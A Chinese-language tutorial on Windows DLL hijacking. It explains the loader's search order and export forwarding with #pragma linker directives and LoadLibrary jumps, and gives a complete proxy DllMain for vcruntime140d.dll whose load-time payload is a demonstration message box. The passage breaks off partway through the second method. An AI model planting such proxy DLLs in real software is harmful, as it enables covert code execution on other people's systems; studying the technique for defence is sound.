前言:
DLL劫持指的是,病毒通過一些手段來劫持或者替換正常的DLL,欺騙正常程序加載預先准備好的惡意DLL。
如下圖,LPK.dll是應用程序運行所需加載的DLL,該系統文件默認在C:\Windows\system32路徑下,但由於windows優先搜索當前路徑,所以當我們把惡意LPK.dll放在應用程序同一路徑下,便會被程序成功加載,從而執行惡意操作。

實現原理:
當一個可執行文件運行時,windows加載器將可執行模塊映射到進程的地址空間中,加載器分析可執行模塊的輸入表,並設法找出需要的DLL,並將它們映射到進程的地址空間中。由於輸入表中只包含DLL名而沒有它的路徑名,因此加載程序必須在磁盤上搜索DLL文件。搜索DLL文件的順序:程序所在目錄、系統目錄、16位系統目錄、windows目錄、當前目錄、PATH環境變量中的各個目錄。所以,我們可以在當前程序所在目錄下偽造一個與系統同名的DLL,提供同樣的輸出表,並使每個輸出函數轉向真正的系統DLL。這樣,程序調用系統DLL時會先調用當前程序所在目錄下的偽裝的DLL,完成我們的操作后再跳到系統DLL同名函數里執行。
惡意dll構造方法:
(1).直接轉發DLL
在所有的預處理指令中,#pragma 指令可能是最復雜的了,它的作用是設定編譯器的狀態或者是指示編譯器完成一些特定的動作。可以通過下面的指令完成函數轉發的操作。
#pragma comment(linker, "/EXPORT:entryname[,@ordinal[,NONAME]][,DATA]
使用/EXPORT選項,可以從程序中導出函數,以便其他程序可以調用該函數,它也可以導出數據。其中,entryname是調用程序要使用的函數或數據項的名稱。ordinal在導出表中指定范圍在1~65535之間的索引;如果沒有指定ordinal,則鏈接器將分配一個。NONAME關鍵字只將函數導出為序號,並且沒有entryname。DATA關鍵字指定導出項為數據項,用戶程序中的數據項必須用extern __declspec(dllimport)來聲明。
例如,假設導出函數為MessageBoxATest,若直接轉發user32.dll中的MessageBoxA導出函數,那么編譯指令代碼如下所示。
#pragma comment(linker, "/EXPORT:MessageBoxATest=user32.MessageBoxA")
上述代碼中的user32表示user32.dll模塊。當加載DLL程序的時候,它會根據上述DLL的搜索路徑自動搜索並加載user32.dll模塊到進程中。當調用MessageBoxATest導出函數的時候,系統會將其直接轉發給user32.dll模塊中的MessageBoxA導出函數去執行。
(2).調用DLL函數
通過LoadLibrary和GetProcAddress函數來加載DLL並獲取DLL的導出函數地址,然后跳轉執行還是使用上面那個例子,若函數為MessageBoxATest,調用user32.dll中的MessageBoxA導出函數,那么調用代碼如下所示。
extern "C" void __declspec(naked) MessageBoxATest() { PVOID pAddr; HMODULE hDll; hDll = ::LoadLibrary("C:\\Windows\\System32\\user32.dll"); if (NULL != hDll) { pAddr = ::GetProcAddress(hDll, "MessageBoxA"); if (pAddr) { __asm jmp pAddr } ::FreeLibrary(hDll); } }
關鍵字declspec(naked)來聲明MessageBoxATest函數是一個裸函數。declspec(naked)告訴編譯器不要對函數進行優化,包括堆棧平衡、參數壓棧、ebp賦值和還原,甚至是ret等所有的函數實現都要程序來操作。不需要任何優化,使用內聯匯編,可以完全按自己意願運行。注意naked特性僅適用於x86和ARM,並不用於x64。同時,通過extern "C"來指明該部分代碼使用C編譯器來編譯。
同樣可以使用#pragma comment指令的/EXPORT選項來對MessageBoxATest函數進行導出,它也可以任意設置導出函數的名稱。
獲取要劫持dll的導出函數:
無論是直接轉發函數方法還是調用函數方法,它們都有明顯的規律可循,關鍵是遍歷劫持DLL的導出函數。所以,當遇到劫持的DLL有很多個導出函數的時候,手動編寫劫持代碼就是一個純粹的體力勞動了。因此,前人開發了專門用來生成DLL劫持代碼的工具,例如AheadLib。
注意:AheadLib工具對於導出函數的函數名以_開頭的需要在前面再加上一個_,如
#pragma comment(linker, "/EXPORT:__CreateFrameInfo=vcruntime140dOrg._CreateFrameInfo") //函數名前面是兩個_

實現代碼:
(1).直接轉發dll(以vcruntime140d.dll為劫持對象,被改名為vcruntime140dOrg.dll):
// dllmain.cpp : 定義 DLL 應用程序的入口點。 #include "pch.h" #include <tchar.h> #include <windows.h> // 直接轉發DLL函數 #pragma comment(linker, "/EXPORT:__CreateFrameInfo=vcruntime140dOrg._CreateFrameInfo") #pragma comment(linker, "/EXPORT:__CxxThrowException=vcruntime140dOrg._CxxThrowException") #pragma comment(linker, "/EXPORT:__EH_prolog=vcruntime140dOrg._EH_prolog") #pragma comment(linker, "/EXPORT:__FindAndUnlinkFrame=vcruntime140dOrg._FindAndUnlinkFrame") #pragma comment(linker, "/EXPORT:__IsExceptionObjectToBeDestroyed=vcruntime140dOrg._IsExceptionObjectToBeDestroyed") #pragma comment(linker, "/EXPORT:__NLG_Dispatch2=vcruntime140dOrg._NLG_Dispatch2") #pragma comment(linker, "/EXPORT:__NLG_Return=vcruntime140dOrg._NLG_Return") #pragma comment(linker, "/EXPORT:__NLG_Return2=vcruntime140dOrg._NLG_Return2") #pragma comment(linker, "/EXPORT:__SetWinRTOutOfMemoryExceptionCallback=vcruntime140dOrg._SetWinRTOutOfMemoryExceptionCallback") #pragma comment(linker, "/EXPORT:___AdjustPointer=vcruntime140dOrg.__AdjustPointer") #pragma comment(linker, "/EXPORT:___BuildCatchObject=vcruntime140dOrg.__BuildCatchObject") #pragma comment(linker, "/EXPORT:___BuildCatchObjectHelper=vcruntime140dOrg.__BuildCatchObjectHelper") #pragma comment(linker, "/EXPORT:___CxxDetectRethrow=vcruntime140dOrg.__CxxDetectRethrow") #pragma comment(linker, "/EXPORT:___CxxExceptionFilter=vcruntime140dOrg.__CxxExceptionFilter") #pragma comment(linker, "/EXPORT:___CxxFrameHandler=vcruntime140dOrg.__CxxFrameHandler") #pragma comment(linker, "/EXPORT:___CxxFrameHandler2=vcruntime140dOrg.__CxxFrameHandler2") #pragma comment(linker, "/EXPORT:___CxxFrameHandler3=vcruntime140dOrg.__CxxFrameHandler3") #pragma comment(linker, "/EXPORT:___CxxLongjmpUnwind=vcruntime140dOrg.__CxxLongjmpUnwind") #pragma comment(linker, "/EXPORT:___CxxQueryExceptionSize=vcruntime140dOrg.__CxxQueryExceptionSize") #pragma comment(linker, "/EXPORT:___CxxRegisterExceptionObject=vcruntime140dOrg.__CxxRegisterExceptionObject") #pragma comment(linker, "/EXPORT:___CxxUnregisterExceptionObject=vcruntime140dOrg.__CxxUnregisterExceptionObject") #pragma comment(linker, "/EXPORT:___DestructExceptionObject=vcruntime140dOrg.__DestructExceptionObject") #pragma comment(linker, "/EXPORT:___FrameUnwindFilter=vcruntime140dOrg.__FrameUnwindFilter") #pragma comment(linker, "/EXPORT:___GetPlatformExceptionInfo=vcruntime140dOrg.__GetPlatformExceptionInfo") #pragma comment(linker, "/EXPORT:___RTCastToVoid=vcruntime140dOrg.__RTCastToVoid") #pragma comment(linker, "/EXPORT:___RTDynamicCast=vcruntime140dOrg.__RTDynamicCast") #pragma comment(linker, "/EXPORT:___RTtypeid=vcruntime140dOrg.__RTtypeid") #pragma comment(linker, "/EXPORT:___TypeMatch=vcruntime140dOrg.__TypeMatch") #pragma comment(linker, "/EXPORT:___current_exception=vcruntime140dOrg.__current_exception") #pragma comment(linker, "/EXPORT:___current_exception_context=vcruntime140dOrg.__current_exception_context") #pragma comment(linker, "/EXPORT:___intrinsic_setjmp=vcruntime140dOrg.__intrinsic_setjmp") #pragma comment(linker, "/EXPORT:___processing_throw=vcruntime140dOrg.__processing_throw") #pragma comment(linker, "/EXPORT:___report_gsfailure=vcruntime140dOrg.__report_gsfailure") #pragma comment(linker, "/EXPORT:___std_exception_copy=vcruntime140dOrg.__std_exception_copy") #pragma comment(linker, "/EXPORT:___std_exception_destroy=vcruntime140dOrg.__std_exception_destroy") #pragma comment(linker, "/EXPORT:___std_terminate=vcruntime140dOrg.__std_terminate") #pragma comment(linker, "/EXPORT:___std_type_info_compare=vcruntime140dOrg.__std_type_info_compare") #pragma comment(linker, "/EXPORT:___std_type_info_destroy_list=vcruntime140dOrg.__std_type_info_destroy_list") #pragma comment(linker, "/EXPORT:___std_type_info_hash=vcruntime140dOrg.__std_type_info_hash") #pragma comment(linker, "/EXPORT:___std_type_info_name=vcruntime140dOrg.__std_type_info_name") #pragma comment(linker, "/EXPORT:___telemetry_main_invoke_trigger=vcruntime140dOrg.__telemetry_main_invoke_trigger") #pragma comment(linker, "/EXPORT:___telemetry_main_return_trigger=vcruntime140dOrg.__telemetry_main_return_trigger") #pragma comment(linker, "/EXPORT:___unDName=vcruntime140dOrg.__unDName") #pragma comment(linker, "/EXPORT:___unDNameEx=vcruntime140dOrg.__unDNameEx") #pragma comment(linker, "/EXPORT:___uncaught_exception=vcruntime140dOrg.__uncaught_exception") #pragma comment(linker, "/EXPORT:___uncaught_exceptions=vcruntime140dOrg.__uncaught_exceptions") #pragma comment(linker, "/EXPORT:___vcrt_GetModuleFileNameW=vcruntime140dOrg.__vcrt_GetModuleFileNameW") #pragma comment(linker, "/EXPORT:___vcrt_GetModuleHandleW=vcruntime140dOrg.__vcrt_GetModuleHandleW") #pragma comment(linker, "/EXPORT:___vcrt_InitializeCriticalSectionEx=vcruntime140dOrg.__vcrt_InitializeCriticalSectionEx") #pragma comment(linker, "/EXPORT:___vcrt_LoadLibraryExW=vcruntime140dOrg.__vcrt_LoadLibraryExW") #pragma comment(linker, "/EXPORT:__chkesp=vcruntime140dOrg._chkesp") #pragma comment(linker, "/EXPORT:__except_handler2=vcruntime140dOrg._except_handler2") #pragma comment(linker, "/EXPORT:__except_handler3=vcruntime140dOrg._except_handler3") #pragma comment(linker, "/EXPORT:__except_handler4_common=vcruntime140dOrg._except_handler4_common") #pragma comment(linker, "/EXPORT:__get_purecall_handler=vcruntime140dOrg._get_purecall_handler") #pragma comment(linker, "/EXPORT:__get_unexpected=vcruntime140dOrg._get_unexpected") #pragma comment(linker, "/EXPORT:__global_unwind2=vcruntime140dOrg._global_unwind2") #pragma comment(linker, "/EXPORT:__is_exception_typeof=vcruntime140dOrg._is_exception_typeof") #pragma comment(linker, "/EXPORT:__local_unwind2=vcruntime140dOrg._local_unwind2") #pragma comment(linker, "/EXPORT:__local_unwind4=vcruntime140dOrg._local_unwind4") #pragma comment(linker, "/EXPORT:__longjmpex=vcruntime140dOrg._longjmpex") #pragma comment(linker, "/EXPORT:__purecall=vcruntime140dOrg._purecall") #pragma comment(linker, "/EXPORT:__seh_longjmp_unwind4=vcruntime140dOrg._seh_longjmp_unwind4") #pragma comment(linker, "/EXPORT:__seh_longjmp_unwind=vcruntime140dOrg._seh_longjmp_unwind") #pragma comment(linker, "/EXPORT:__set_purecall_handler=vcruntime140dOrg._set_purecall_handler") #pragma comment(linker, "/EXPORT:__set_se_translator=vcruntime140dOrg._set_se_translator") #pragma comment(linker, "/EXPORT:__setjmp3=vcruntime140dOrg._setjmp3") #pragma comment(linker, "/EXPORT:longjmp=vcruntime140dOrg.longjmp") #pragma comment(linker, "/EXPORT:memchr=vcruntime140dOrg.memchr") #pragma comment(linker, "/EXPORT:memcmp=vcruntime140dOrg.memcmp") #pragma comment(linker, "/EXPORT:memcpy=vcruntime140dOrg.memcpy") #pragma comment(linker, "/EXPORT:memmove=vcruntime140dOrg.memmove") #pragma comment(linker, "/EXPORT:memset=vcruntime140dOrg.memset") #pragma comment(linker, "/EXPORT:set_unexpected=vcruntime140dOrg.set_unexpected") #pragma comment(linker, "/EXPORT:strchr=vcruntime140dOrg.strchr") #pragma comment(linker, "/EXPORT:strrchr=vcruntime140dOrg.strrchr") #pragma comment(linker, "/EXPORT:strstr=vcruntime140dOrg.strstr") #pragma comment(linker, "/EXPORT:unexpected=vcruntime140dOrg.unexpected") #pragma comment(linker, "/EXPORT:wcschr=vcruntime140dOrg.wcschr") #pragma comment(linker, "/EXPORT:wcsrchr=vcruntime140dOrg.wcsrchr") #pragma comment(linker, "/EXPORT:wcsstr=vcruntime140dOrg.wcsstr") BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { DisableThreadLibraryCalls(hModule); MessageBox(NULL,_T("劫持成功!"),_T("提示"),NULL); break; } case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }
(2).調用dll函數,使用AheadLib工具生成,有點小問題,LoadLibrary原dll文件報參數錯誤,
